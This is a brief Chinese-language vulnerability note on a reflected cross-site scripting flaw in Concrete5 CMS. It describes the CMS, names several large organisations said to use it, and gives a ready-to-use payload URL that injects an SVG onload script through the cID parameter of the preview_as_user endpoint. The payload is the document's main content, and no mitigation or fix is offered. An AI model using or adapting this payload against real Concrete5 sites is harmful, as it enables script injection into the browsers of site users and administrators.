Concrete5 CMS XSS

Concrete5是一个免费的CMS系统,可以创建网站,并以其易用性而闻名。使用Concrete5的主要组织包括GlobalSign、美国陆军、REC和BASF等。

Payload:

http://xxx/ccm/system/panels/page/preview_as_user/preview?cID="></iframe><svg/onload=alert(1)>